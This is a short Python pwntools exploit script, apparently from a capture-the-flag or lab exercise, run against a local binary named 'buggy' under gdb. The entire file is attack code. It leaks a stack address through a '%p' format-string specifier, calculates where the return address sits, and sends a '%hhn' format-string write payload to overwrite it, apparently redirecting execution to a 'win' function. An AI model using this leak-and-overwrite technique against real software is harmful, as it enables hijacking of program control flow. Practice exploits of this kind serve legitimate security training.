from binascii import hexlify
from pwn import *

p = process('./buggy')
gdb.attach(p)
print(p.readline())
name = 512*'A'+'__%p__'
p.sendline(name)
line = p.readline()
print(line)
address = line.split(b'__')[1]
print(f"address: {address}")
addr = int(address, 16)
addr += 0x610 + 0x8
winAddr = 0x76a
print(f"address for ret: {hex(addr)}")
payload = b'AAAAAAAA%136$lx%139$hhn=' + p64(addr)
print(hexlify(payload))
p.sendline(payload)
print(p.recv())
